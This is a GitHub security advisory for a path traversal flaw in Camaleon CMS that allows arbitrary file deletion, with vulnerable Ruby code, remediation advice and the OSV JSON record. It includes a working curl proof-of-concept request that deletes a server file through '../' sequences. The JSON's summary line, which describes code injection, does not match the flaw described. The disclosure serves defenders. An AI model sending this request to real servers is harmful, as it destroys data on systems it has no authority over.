GHSA-7X4W-CJ9R-H4V9
Vulnerability from github – Published: 2024-09-18 15:47 – Updated: 2025-05-23 19:12The actions defined inside of the MediaController class do not check whether a given path is inside a certain path (e.g. inside the media folder). If an attacker performed an account takeover of an administrator account (See: GHSL-2024-184) they could delete arbitrary files or folders on the server hosting Camaleon CMS. The crop_url action might make arbitrary file writes (similar impact to GHSL-2024-182) for any authenticated user possible, but it doesn't seem to work currently.
Arbitrary file deletion can be exploited with following code path: The parameter folder flows from the actions method:
def actions
authorize! :manage, :media if params[:media_action] != 'crop_url'
params[:folder] = params[:folder].gsub('//', '/') if params[:folder].present?
case params[:media_action]
[..]
when 'del_file'
cama_uploader.delete_file(params[:folder].gsub('//', '/'))
render plain: ''
into the method delete_file of the CamaleonCmsLocalUploader class (when files are uploaded locally):
def delete_file(key)
file = File.join(@root_folder, key)
FileUtils.rm(file) if File.exist? file
@instance.hooks_run('after_delete', key)
get_media_collection.find_by_key(key).take.destroy
end
Where it is joined in an unchecked manner with the root folder and then deleted.
Proof of concept The following request would delete the file README.md in the top folder of the Ruby on Rails application. (The values for auth_token, X-CSRF-Token and _cms_session would also need to be replaced with authenticated values in the curl command below)
curl --path-as-is -i -s -k -X $'POST' \
-H $'X-CSRF-Token: [..]' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' -H $'Connection: keep-alive' \
-b $'auth_token=[..]; _cms_session=[..]' \
--data-binary $'versions=&thumb_size=&formats=&media_formats=&dimension=&private=&folder=..%2F..%2F..%2FREADME.md&media_action=del_file' \
$'https://<camaleon-host>/admin/media/actions?actions=true'
Impact This issue may lead to a defective CMS or system.
Remediation Normalize all file paths constructed from untrusted user input before using them and check that the resulting path is inside the targeted directory. Additionally, do not allow character sequences such as .. in untrusted input that is used to build paths.
See also:
CodeQL: Uncontrolled data used in path expression OWASP: Path Traversal
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "camaleon_cms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.8.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-18T15:47:07Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "The [actions](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L51-L52) defined inside of the MediaController class do not check whether a given path is inside a certain path (e.g. inside the media folder). If an attacker performed an account takeover of an administrator account (See: GHSL-2024-184) they could delete arbitrary files or folders on the server hosting Camaleon CMS. The [crop_url](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L64-L65) action might make arbitrary file writes (similar impact to GHSL-2024-182) for any authenticated user possible, but it doesn\u0027t seem to work currently.\n\nArbitrary file deletion can be exploited with following code path: The parameter folder flows from the actions method:\n```ruby\n def actions\n authorize! :manage, :media if params[:media_action] != \u0027crop_url\u0027\n params[:folder] = params[:folder].gsub(\u0027//\u0027, \u0027/\u0027) if params[:folder].present?\n case params[:media_action]\n [..]\n when \u0027del_file\u0027\n cama_uploader.delete_file(params[:folder].gsub(\u0027//\u0027, \u0027/\u0027))\n render plain: \u0027\u0027\n```\ninto the method delete_file of the CamaleonCmsLocalUploader class (when files are uploaded locally):\n```ruby\ndef delete_file(key)\n file = File.join(@root_folder, key)\n FileUtils.rm(file) if File.exist? file\n @instance.hooks_run(\u0027after_delete\u0027, key)\n get_media_collection.find_by_key(key).take.destroy\nend\n```\nWhere it is joined in an unchecked manner with the root folder and then deleted.\n\n**Proof of concept**\nThe following request would delete the file README.md in the top folder of the Ruby on Rails application. (The values for auth_token, X-CSRF-Token and _cms_session would also need to be replaced with authenticated values in the curl command below)\n```\ncurl --path-as-is -i -s -k -X $\u0027POST\u0027 \\\n -H $\u0027X-CSRF-Token: [..]\u0027 -H $\u0027User-Agent: Mozilla/5.0\u0027 -H $\u0027Content-Type: application/x-www-form-urlencoded; charset=UTF-8\u0027 -H $\u0027Accept: */*\u0027 -H $\u0027Connection: keep-alive\u0027 \\\n -b $\u0027auth_token=[..]; _cms_session=[..]\u0027 \\\n --data-binary $\u0027versions=\u0026thumb_size=\u0026formats=\u0026media_formats=\u0026dimension=\u0026private=\u0026folder=..%2F..%2F..%2FREADME.md\u0026media_action=del_file\u0027 \\\n $\u0027https://\u003ccamaleon-host\u003e/admin/media/actions?actions=true\u0027\n```\n**Impact**\nThis issue may lead to a defective CMS or system.\n\n**Remediation**\nNormalize all file paths constructed from untrusted user input before using them and check that the resulting path is inside the targeted directory. Additionally, do not allow character sequences such as .. in untrusted input that is used to build paths.\n\n**See also:**\n\n[CodeQL: Uncontrolled data used in path expression](https://codeql.github.com/codeql-query-help/ruby/rb-path-injection/)\n[OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)",
"id": "GHSA-7x4w-cj9r-h4v9",
"modified": "2025-05-23T19:12:59Z",
"published": "2024-09-18T15:47:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-7x4w-cj9r-h4v9"
},
{
"type": "WEB",
"url": "https://github.com/owen2345/camaleon-cms/commit/f5d032549fa0a204d06e738caf2663607967dee2"
},
{
"type": "PACKAGE",
"url": "https://github.com/owen2345/camaleon-cms"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/camaleon_cms/GHSA-7x4w-cj9r-h4v9.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Camaleon CMS vulnerable to remote code execution through code injection (GHSL-2024-185)"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.